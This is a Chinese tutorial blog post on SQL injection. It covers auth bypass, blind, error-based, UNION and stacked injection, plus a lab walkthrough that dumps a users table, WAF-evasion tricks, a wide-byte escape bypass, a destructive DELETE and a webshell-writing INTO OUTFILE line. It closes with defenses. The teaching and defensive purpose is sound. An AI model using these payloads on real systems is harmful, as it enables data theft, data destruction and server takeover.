ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

SQL注入原理与攻击手法详解:从入门到防御实践

SQL注入原理与攻击手法详解:从入门到防御实践

SQL注入这个东西,在网络安全圈子里算是老生常谈,但又是每年漏洞报告里永远死不掉的那一挂。很多人一听到“注入”就觉得是老古董技术,可现实是,我自己做渗透测试和代码审计这些年,十个站里总能碰上两三个还留着这类口的。这个标题讲的是SQL注入的原理和常见攻击方法,其实往深了说,它不只是“在登录框里输个引号”那么简单——它是理解“输入到底能不能被信任”这一核心问题的最佳入门案例,也是很多更高级攻击手法的地基。

这篇内容适合刚入门的安全小白、写后端代码的开发者,以及那些想搞懂“为什么拼SQL会出事”但又不想啃论文的运维同学。我会尽量把原理、手法、实战拆开揉碎,把踩过的坑和排查思路也一并倒出来,保证你看完至少能自己动手复现一个完整注入过程,也能给同事讲清楚“为什么不能拼SQL”。

1. SQL注入到底是怎么发生的

1.1 一句话本质:把代码和用户输入混在一起了

SQL注入的本质,用大白话说,就是你写SQL语句的时候,把用户输入的内容直接当成了SQL语句的一部分去执行。正常情况下,程序应该把“用户输入”当成“数据”来处理,但代码一旦把输入拼进SQL字符串里,数据库就没有办法区分哪部分是代码、哪部分是数据,于是攻击者就能借输入内容来改写整条SQL语句的语义。

我举个例子你就懂了。登录功能最常见的一段代码是这么写的:

SELECT * FROM users WHERE username = 'admin' AND password = '123456'

如果开发者图省事,直接这样拼:

String sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

这时候用户在用户名框里输入admin' --,密码随便填,最终执行的SQL就变成了:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'

注意最后那个--,在MySQL和很多数据库里是注释符。注释符后面的所有内容直接失效,于是这条SQL就等价于:

SELECT * FROM users WHERE username = 'admin'

密码校验直接被“注释”掉了。只要存在一个用户名叫admin的账户,攻击者不需要密码就能登录。这就是最经典的万能登录,也是SQL注入最直观的入门案例。

1.2 为什么开发者会写出这种代码

很多人会问,拼SQL这种写法,教科书里都反复强调不行,为什么现实中还是一抓一大把?我的实际感受是,绝大多数不是开发者“不知道”,而是“知道得太晚”或者“图快”。

第一类是早期项目遗留代码。很多老系统在2005到2015年之间开发,那时候ORM框架还不普及,很多团队直接用JDBC或者PHP的mysql扩展拼SQL,一套系统跑十年没重构,注入点就一直在那里。

第二类是“只处理了特殊字符”的错觉。有些开发知道要防注入,于是写了几个字符串替换函数,比如把单引号替换成两个单引号,或者把单引号转义。但问题在于,不同的数据库字符集、不同的编码条件下,转义是可以被绕过的。比如宽字节注入就是典型的绕过转义的手法,后面我会专门讲。

第三类是没有意识到“输入不只是表单字段”。不少开发者只检查了HTTP参数,忽略了Cookie、请求头、文件上传文件名甚至WebSocket消息里的内容。这些地方只要最终拼进了SQL,一样是注入点。我见过一个管理后台,登录校验做得固若金汤,结果导出报表功能里日期范围参数是拼进去的,攻击者把请求里的日期字段改了,直接拖走了整个用户表。

核心问题不在“写不写过滤”,而在“信任边界”。只要你的代码里有一条路径是从外部输入到SQL拼串,中间任何一个环节的校验缺失都可能被利用。

1.3 攻击者视角:为什么要盯死这些输入点

站在攻击者角度,SQL注入的价值非常大。任何一个拼了用户输入的SQL语句,都有可能被用来做三件事:

  • 绕过认证,直接以管理员身份进入系统
  • 读取数据库里不该读的数据,包括用户名密码、身份证号、订单、聊天记录
  • 写入数据,比如往用户表里插一个自己的账号,或者在后台配置表里改自己的权限

有些数据库配置还允许攻击者通过SQL注入读文件甚至写文件。比如MySQL的LOAD_FILE()函数可以读服务器上的敏感文件,INTO OUTFILE可以写webshell。这就是为什么SQL注入经常被视为“高危漏洞”——它不只是数据泄露的问题,还可能直接演变成服务器被拿下。

1.4 必要的环境准备

如果你想跟着手动验证下文提到的手法,需要准备一个本地环境。我建议用Docker跑一个测试站,千万别去碰线上系统,这是底线。

一个比较省事的组合是:Docker + MySQL 5.x + PHP 5.x/7.x,再写一个简单的带有“用户名查询”功能的页面。为什么用老版本?因为现在的新版本MySQL在默认配置下对某些函数限制更严格,比如INTO OUTFILE默认不允许写文件,用老版本更容易复现经典效果。

我平时在本地做实验时用的是一条命令:

docker run --name sqli-lab -p 8080:80 -d php:5.6-apache

然后自己写个test.php,内容大致是接收GET参数id,拼进SQL查询用户表。只要环境是自己的,代码怎么写都不会出问题。但你要是手痒去测别人的网站,那我先把话说在前面:这不仅不道德,而且违反法律,安全测试必须拿到授权。

2. 常见攻击手法逐个拆解

SQL注入的手法看着多,其实本质都是围绕一个核心目标:怎么把自己的输入变成数据库能执行的代码。下面按攻击场景分类,把几种最常遇到的手法讲清楚。

2.1 基于布尔的盲注:不显示数据也能把数据“问”出来

有些系统会在数据库报错时返回详细错误信息,比较容易判断注入是否存在。可现实中很多系统是“盲”的——页面不显示查询结果,也不显示报错,只告诉你“查询成功”或者“没有数据”。布尔盲注就是在这种情况下,用页面两种不同的返回状态来逐位推断数据。

原理很简单。如果某条SQL是:

SELECT * FROM products WHERE id = 1

注入后变成:

SELECT * FROM products WHERE id = 1 AND 1=1

页面正常返回,因为1=1恒为真。

再改成:

SELECT * FROM products WHERE id = 1 AND 1=2

页面就返回“没有数据”。攻击者可以构造条件,比如:

SELECT * FROM products WHERE id = 1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1), 1, 1)) > 100

如果页面正常,说明第一个字符的ASCII码大于100;如果返回异常,说明小于等于100。这样用二分法逐字符猜,一个字符最多猜7到8次,就能把整个数据库的表结构、用户数据全“猜”出来。

实操中,这类攻击通常要写脚本。手工去试不太现实,因为几十个字符每个都要试几十次。我在测试环境里写过最原始的脚本,逻辑就是拿到HTTP响应后判断200还是404,然后循环逼近。后来为了省事,我基本用现成工具,原理没变,只是人家封装好了。

2.2 基于报错的注入:让数据库替你把话说出来

报错注入是我觉得最“优雅”的注入方式,因为它省事。数据库在遇到某些函数使用不当的时候,会把错误信息连同部分数据一起反馈出来。攻击者就是利用这个特性,故意构造报错,让数据库把想查的数据带出来。

最经典的几个报错函数包括MySQL的extractvalue和updatexml,它们的参数格式如果写错,会把第二个参数的内容解析后拼到错误信息里。

比如正常构造:

SELECT extractvalue(1, concat(0x7e, (SELECT password FROM users LIMIT 1)))

extractvalue要求第二个参数是合法的XPath路径,但你给了它~密码内容这种非法的值,数据库在报错的时候就会把这个非法值原样吐到错误信息里,于是攻击者直接在页面上看到了密码。

这类注入最大优势是速度快,不需要二分猜测。但前提是页面的错误信息没有被屏蔽。如果开发者设置了display_errors=Off或者用了统一的JSON错误返回,报错注入就没法直接用了。

我见过不少系统,开发环境开着报错,上生产后没有关,攻击者只要在参数后面加一个'就能看到完整SQL和数据库版本,整个库结构就暴露一半了。生产环境一定要把详细报错关掉或替换成自定义页面。

2.3 基于联合查询的注入:最直观、最快出数据

联合查询注入(UNION注入)是我个人最喜欢用来做演示的手法和工具原理,因为它不需要猜,直接把查询结果合并到正常结果里,数据就出现在页面上了。

原理是SQL的UNION关键字允许把两个SELECT的结果拼接在一起输出。前提是前后两个查询的字段数量必须一致。所以攻击者第一步是试探原查询到底查了几个字段,常用方法是:

SELECT * FROM products WHERE id = 1 ORDER BY 1 SELECT * FROM products WHERE id = 1 ORDER BY 2

后缀加ORDER BY 1、ORDER BY 2……直到报错,就能确定字段数量。也可以用:

UNION SELECT 1,2,3,4,5

如果回显“列数不对”,就把数字逐个增加,直到页面正常显示出数字,就能确定列数并找到哪些字段会回显到页面上。

确认列数和回显位置后,就能把数字位置换成自己想查的内容。比如查询当前数据库名:

SELECT * FROM products WHERE id = 1 UNION SELECT 1, database(), user(), version(), 5

页面就会直接在对应位置显示数据库名、数据库账号和版本号。整个过程在手工状态下也就几分钟的事。

这种注入方式唯一要注意的是,UNION前面的查询必须真的没结果,否则后面联合的数据可能被前面的原始数据“淹没”。所以攻击者通常会先把id改成不存在的负数,比如id=-1,确保UNION后的数据是唯一回显内容。

2.4 基于时间的盲注:不返回任何信息也能注入

有一种极端情况:页面既不回显数据,也不报错,甚至连“成功/失败”都区分不出来。这时候布尔盲注也行不通,因为所有请求的结果长得一个样。时间盲注就是在这种情况下强行开出一条路。

思路是通过让数据库执行“延时”操作来模拟真假两种状态。如果攻击者构造的条件为真,数据库就执行一个耗时较长的内置函数(比如MySQL的SLEEP(5)),导致响应用了5秒才返回;如果条件为假,则瞬间返回。这样攻击者通过数“响应时间”就能判定条件真假。

示例:

SELECT * FROM products WHERE id = 1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>100, SLEEP(3), 0)

如果页面响应延迟了3秒,说明数据库名的第一个字符ASCII码确实大于100。逐个字符试过去,整个库名都能被“睡”出来。

时间盲注最考验耐心,网络波动会影响判断,所以攻击者通常会设置比较大的时间阈值,比如5秒,并且多次请求做对比。防御方如果看到日志里出现大量请求耗时异常集中在同一个接口,就要警惕了。

2.5 堆叠注入:一条请求能执行多条SQL

堆叠注入(Stacked Queries)是很多初学者容易忽略的点。它利用分号;把多条SQL语句串在一起执行。大多数SQL查询接口只允许一条SELECT,但有些数据库连接配置允许多语句执行,比如PHP的multi_query或者PDO配置里的MULTI_STATEMENTS。

攻击者构造这样的输入:

1; DELETE FROM users WHERE 1=1

如果原代码是:

SELECT * FROM products WHERE id = 1

执行时就变成了:

SELECT * FROM products WHERE id = 1; DELETE FROM users WHERE 1=1

两条语句依次执行,前面查询完,后面直接把用户表清空。

堆叠注入的破坏力极大,它不只是“读数据”,而是可以执行任意SQL,包括插入账号、修改权限、甚至执行INTO OUTFILE写webshell。但它的触发条件也更苛刻,需要底层数据库连接支持多语句。我在实际审计中见到过几个Java项目配了allowMultiQueries=true,这种配置如果没有特殊理由,建议一律关掉。

3. 实操过程与核心环节实现

前面讲了原理和分类,这一节我带你走一遍完整的注入过程。我会用一个模拟场景,以“某公司客户管理系统”的查询接口为例,从判断注入点到拖出敏感数据,整个过程都会展开讲,方便你建立完整的操作链路认知。请注意,这是在本地测试环境完成的,且所有账户数据都是虚构的模拟数据。

3.1 探测阶段:先确认接口到底有没有洞

假设目标接口是:

http://localhost:8080/customer/search.php?name=张

页面返回客户列表。我先正常访问,接着在name参数后面加一个':

http://localhost:8080/customer/search.php?name=张'

页面报错,提示SQL语法错误,并且错误信息里有SQL片段。这时候基本可以断定:参数是拼进SQL的,而且数据库在报错。因为单纯数据中包含单引号不该导致SQL语法错误——除非单引号“逃出”了字符串边界。

紧接着我需要确认字段数量。用ORDER BY逐步试探:

http://localhost:8080/customer/search.php?name=张' ORDER BY 1 --+ http://localhost:8080/customer/search.php?name=张' ORDER BY 2 --+

我没有直接用UNION SELECT,原因是如果不知道列数,直接UNION会报“列数不同”的错误,干扰判断。先用ORDER BY逐个尝试,直到字段数超过实际查询列导致页面报错为止。比如ORDER BY 4报错而ORDER BY 3正常,那说明原查询是3列。

这里的--+是为了把后面多余的内容注释掉,确保原SQL的剩余部分不会干扰我的注入语句。在MySQL注释语法里,--后面必须跟一个空格,所以很多payload会写成--+,因为加号在URL编码里其实是空格。

3.2 发力阶段:确定回显位并提取数据

确认列数是3后,接下来我构造UNION查询:

http://localhost:8080/customer/search.php?name=张' AND 1=0 UNION SELECT 1,2,3 --+

把原查询条件改成1=0,是因为前面说过,如果原查询有结果,UNION后的数据会排在后面,不太显眼。改成无结果后,页面只会回显UNION的数据。此时页面上会出现数字1、2、3,说明三个位置都在页面中回显。

接下来就可以在位置2、3上替换成目标数据。比如先看数据库版本和当前用户:

http://localhost:8080/customer/search.php?name=张' AND 1=0 UNION SELECT 1,version(),database() --+

页面直接显示MySQL的版本号和库名。再到information_schema里查表名:

http://localhost:8080/customer/search.php?name=张' AND 1=0 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema='客户系统库名' --+

用group_concat把表名拼成一行返回,页面显示出一串表名。找到users表后,再查表里的字段:

http://localhost:8080/customer/search.php?name=张' AND 1=0 UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users' --+

最后查具体数据,把账号密码字段一次性拉出来。密码字段如果是明文的,这单测试基本就结束了;如果是MD5或哈希,还得走解密的步骤,但那是另一个话题了。

3.3 写在实操笔记里的几个细节

有几个细节容易翻车,我在本地折腾时踩过,拿出来分享一下。

--+和#的区别。MySQL里注释符号有#和--(注意横线后必须空格),--+是因为URL里加号解析成空格才流行起来的。在有些后端框架里如果做了URL解码后的二次过滤,用#转成%23可能更稳。

单引号被转义怎么办。如果开发者把用户输入里的'替换成了\',直接拼的单引号就没用了。这种情况可以先看有没有宽字节注入的条件。数据库是GBK编码的系统中,输入%bf%27可以吃掉转义符\,让后面的单引号重新“恢复自由身”。这种绕过方式在老旧系统中非常常见,我审计时至少遇到过三次。

GET参数和POST参数都要测。很多扫描器只扫了GET,但实际系统里POST的JSON体、XML体同样可能是注入点。尤其是一些接口调试时为了方便,直接用POST传递SQL关键字到存储过程,这类接口攻击者用工具稍微改一下请求就能打到。

3.4 从注入到“惹祸”,只有一步之遥

如果现场环境支持多语句执行,攻击者可以继续往下走。以MySQL为例,如果当前账号权限足够,且数据库配置允许,攻击者可能执行:

SELECT * FROM customer WHERE name='张'; SELECT '<?php @eval($_POST["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'

这就是写文件攻击,直接把一句话木马写到Web目录里,后面配合连接工具就能完全控制服务器。不过现在新版本MySQL默认限制了secure_file_priv,写文件这条路大多被封死了。但老版本系统、特定配置环境中仍然存在。

这个链条告诉我们,SQL注入的“下限”可能是泄露数据,“上限”可能是服务器沦陷。所以你怎么认真对待都不为过。

4. 常见问题与排查技巧实录

4.1 问题一:报错信息出来了,但UNION不回显数据

我在测试模拟系统时遇到过一种情况:报错注入能出数据,但UNION查询总是不显示自己的数据。排查原因,发现原查询的SQL语句末尾带着一个LIMIT 10,我的UNION语句追加在LIMIT之后,数据库直接报语法错误。

处理方法很简单:如果原查询带LIMIT,就用注释把LIMIT及其后面内容全部注释掉,然后在UNION语句里自己控制LIMIT。比如:

name=张' AND 1=0 UNION SELECT 1,2,3 -- LIMIT 1

后面这个--注释掉原有的LIMIT,就能正常显示。另外,有些ORM框架会默认在查询后追加ORDER BY或LIMIT,手工注入时如果发现UNION没效果,可以考虑用--+把所有尾部内容注释掉。

4.2 问题二:搜出来的数据是乱码

这属于字符集问题。数据库是utf8,页面却是gbk,或者反过来,注入回显的中文变成???或乱码。这种情况在实战中非常常见,我自己的做法是在payload里尽量用十六进制编码目标字符串,比如把database()的返回值转成十六进制,它本身是英文字符串,一般不受影响。如果查中文表名或数据,就在payload里加CONVERT(... USING utf8)强制转码。

排查这类问题,别一上来就怀疑注入不存在。先看看HTTP响应头的Content-Type里有没有charset,再看看数据库连接字符集。很多时候不是注入失败,而是编码不一致导致显示异常。

4.3 问题三:WAF或应用层过滤拦截了我的请求

现在的Web应用多少都会套一层安全过滤,常见的有云WAF、开源WAF模块,或者是代码里的关键词黑名单。我遇到过最朴素的规则是:把输入里的SELECT、UNION、'全部替换成空字符串。这种过滤方式有两个经典绕过思路。

第一个思路是双写绕过。如果过滤是“把SELECT替换成空”,输入SELSELECTECT,替换后会变成SELECT,语句依然有效。

第二个思路是利用注释拆分关键字。MySQL支持在关键字中间插入注释,比如:

UN/**/ION SEL/**/ECT

数据库会把注释忽略掉,实际执行的就是UNION SELECT。这也是SQL注入payload里常见的内联注释写法的来源。如果WAF只做正则匹配,很难覆盖所有“关键字+注释”的组合。

不过需要说明:绕过WAF属于对抗操作,我只建议在授权的渗透测试中使用这个思路。从防守方角度看,看到这种特征基本可以确定有人在恶意探测。

4.4 排查技巧:用“请求-响应-时间”三条线索定位问题

我在调试注入payload时,一般会同时看三样东西:

  • 请求响应码:200、302、500分别说明什么
  • 响应长度:有没有多出几行数据
  • 响应耗时:判断时间盲注条件是否触发

有一次时间盲注始终不触发,页面一直是秒回。我抓包看了后端返回的请求,发现服务端把所有输入都做了“首字母大写”处理,导致我注入的if函数变成了If,MySQL函数名是不区分大小写的,按理说没问题。再排查发现后端是消息队列异步处理请求,接口先返回“任务已接收”,真正执行SQL的worker稍后才跑,所以响应时间是反着的,时间盲注自然失效。

这类“非典型”环境提醒我们:SQL注入的判断不能只看页面行为,还要理解整个请求链路。如果必要,可以配合查询日志来确认payload到底有没有进到数据库。

5. 防御不是加个过滤就完事

5.1 最核心的一条:参数化查询能解决90%的问题

在所有防御手段里,参数化查询(Prepared Statement)是最根本、最有效的一招。它的思路是:SQL的结构在发送给数据库前就已经固定了,用户输入只作为“参数值”传入,数据库知道这是数据,永远不可能变成SQL代码。

以Java为例,正确写法是:

String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setString(1, username); ps.setString(2, password);

以PHP的PDO为例:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute([':username' => $username]);

在这两种写法里,不管用户输入什么,数据库只会把它当作文本处理。攻击者注入的那一套单引号、UNION、注释符,全部失去了语法意义。这也是为什么我一直认为:参数化查询不是“可选项”,而是底线。

但要注意参数化查询解决的是“数据位置”的注入,对于无法参数化的场景,比如动态表名、动态列名、ORDER BY后的字段名,还是要靠白名单校验。举一个反例:某系统的排序功能允许用户传sort=username,开发就把它拼进了SQL。虽然所有查询都用了参数化,但排序字段属于SQL结构的一部分,没法参数化。这时候你必须在后端做白名单,只允许username、created_at等预设值,其他一律拒绝。

5.2 纵深防御的几个细节

参数化查询能挡住大部分注入,但现实世界的代码总有历史的、遗留的、赶工的部分,所以还需要在几层防护上做兜底。

数据库账号要遵循最小权限原则。很多注入事故能拖走所有库,就是因为应用连接数据库的账号连DROP权限都有。应用连DB只用来增删改查业务数据,为什么要给FILE、SUPER、GRANT权限?我审计的系统里,确实见过用root账号跑业务的,说实话非常头大。务必给应用单独建立账号,只授予它需要的库、需要的表的权限。

错误信息别给数据库原话。数据库报错会暴露表结构、SQL片段、甚至部分数据,这对攻击者来说是“免费情报”。生产环境里,统一配置自定义错误页,把真实报错记录到后端日志,不要让用户直接看到。

WAF之类的安全设备,可以放在网络边界做第一道拦截,但别完全依赖它。WAF的问题是——它是基于特征的,攻击者换个编码、换个绕过方式就可能穿透。WAF只能“降低攻击面”,不能“消除漏洞”。

5.3 从代码审查到安全测试,一个都不能少

再好的安全规范,没人执行也是空谈。我在实际项目里推过一套流程,核心是三件事:

  • 代码审查时把SQL语句找出来逐条确认是否走参数化
  • 每次上线前用自动化漏洞扫描器和服务端工具扫一遍关键接口
  • 每季度做一次人工渗透测试,重点看登录、查询、导出类接口

自动化扫描能发现表面问题,但真正的问题往往藏在业务逻辑里。比如某个导出功能支持date_from和date_to拼接SQL,扫描器默认这些参数是日期格式,未必能测出注入。人工测试的价值就是覆盖这些“不按套路出牌”的参数。

5.4 应急响应时如果已经发现被注入了

如果真的在线上发现SQL注入攻击,按我的习惯,优先级是这样排列的:

先把被攻击的接口或参数断掉。可以用WAF阻断那条URL,或者在Nginx层临时加规则,让攻击payload无法到达应用。

然后备份当前数据库和日志,保证证据链完整。这一步很重要,尤其是涉及法律追责时,没有留存数据等于白干。

接着排查攻击者的行为痕迹,看日志里有没有异常查询语句、有没有写文件、有没有新增的账户或计划任务。确认影响范围后,再评估数据泄露的体量和敏感程度。

结构性问题修完之前,不要急着把服务恢复上线。很多团队先“止血”再“治病”,结果攻击者换个姿势又进来了。先把代码层漏洞修掉或把接口下线,再恢复服务,顺序不要颠倒。

6. 我个人几次实操后的体会

接触SQL注入这些年,我最大的感受是:这技术的门槛不算高,但对“输入输出模型”的理解要求特别扎实。你只有真正搞懂了数据从用户到数据库再到页面展示这条链路,才能在开发和防御两个角色里都站得住。

我个人在测试里养成的一个习惯是:拿到任何接口,先看参数名,再看参数类型,最后看参数会不会进入SQL上下文。如果会,不管有没有过滤,都先假定它存在注入风险,再一步步验证。宁可“误报”再排除,也别因为大意漏掉了真问题。

还有一个小技巧想分享给大家:写payload之前,先想清楚你执行这条SQL的最终目标是什么,然后再倒推需要哪些前置条件。比如你要UNION查询指定库的表名,那就必须先确定原查询列数;如果你要时间盲注数据库名,那就必须先确定条件表达式怎么写才不会报错。倒着推,整个过程会顺很多。

SQL注入这个课题能聊的还有很多,比如二次注入、注入配合文件读写、存储过程中的注入问题,这些都是在基础原理之上延伸出来的变体。把地基打牢,后面遇到再新的花样,你也一眼能看出它的根还是那一条:代码把输入当成了指令。

这篇文章就讲到这里,如果你正好在调试自己的代码或者在做安全测试,建议把文中提的几种注入方式都在本地环境复现一遍。光看永远体会不到那种“条件对了、数据出来了”的感觉,动手试过一遍,很多疑惑会自然解开。

返回列表